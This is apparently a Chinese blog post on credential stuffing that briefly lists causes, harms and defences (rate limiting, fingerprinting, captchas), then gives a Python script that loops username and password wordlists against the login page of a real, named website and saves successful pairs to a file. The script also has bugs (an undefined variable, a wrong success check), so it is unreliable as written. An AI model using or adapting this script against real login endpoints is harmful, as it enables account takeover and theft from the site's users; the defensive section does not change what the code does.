Python 撞库
写在前面: 浅谈撞库防御策略
1. 撞库成功的原因是什么呢?
1.广大网络用户为了方便记忆,所有网站都使用同一套用户名和密码。
2.网站登录的安全措施不够。
2 撞库的危害是什么呢?
就企业而言保护用户的信息安全是基本责任之一,泄露用户信息会缺失公信力,损毁
公司品牌形象。
就个人而言小则骚扰电话天天有,大则个人财产不翼而飞。
3 撞库这么大的危害,作为企业和网站主应该如何防止撞库攻击呢?
通过上面的例子我们可以发现,阻止撞库登录就是要让黑客不能够使用脚本程序进行批
量登录。常用的方法有以下几种:
*①限制同一个IP的请求次数和请求频率*
这是一种方法,但是由于IP代理的存在,作用也不是特别大。
*②使用cookie,flash cookie以及帆布指纹等方法*
目前也是有许多网站在使用这种策略,有一定的作用,但是也是可以被清除掉的。
③*添加验证码*
批量模拟登陆
import requests as req
import time
import re
#获取文件
def getdic(file):
dic = open(file).read()
diclist = dic.split("\n")
return diclist
def writeFile(filename,text):
fo = open(filename, "a+")
fo.write(text+"\n");
# 关闭打开的文件
fo.close()
#撞库实际程序
def zhuangku(name,pwd):
# {username} 替换{}中的内容为用户名
newpwd = re.sub(r'{\w+}', name, pwd)
url='http://www.nancheng.ccoo.cn/login/login.asp'
data={
'username' : name,
'password' : newpwd,
'k':'Sun Jul 17 2016 11:59:23 GMT+0800 (中国标准时间)40000'
}
headers = {}
reqe = req.Session()
s=reqe.post(url,data=data,headers=headers)
return s.text
userlist = getdic('dict/names_top500.txt')
passlist = getdic('dict/password.txt')
lenmax_i=len(userlist)
lenmax_j = len(passlist)
for i in range(0,lenmax_i):
for j in range(0,lenmax_j):
name = userlist[i]
passwd = passlist[j]
res = zhuangku(name,pwd)
if j == 10:
break
else:
if res == 1:
print(name+passwd+"succsess")
writeFile('/tmp/zhuangku.txt',name+passwd +'success')
break
else:
print (name+passwd+res)
#continue
time.sleep(0.5)
print ("success")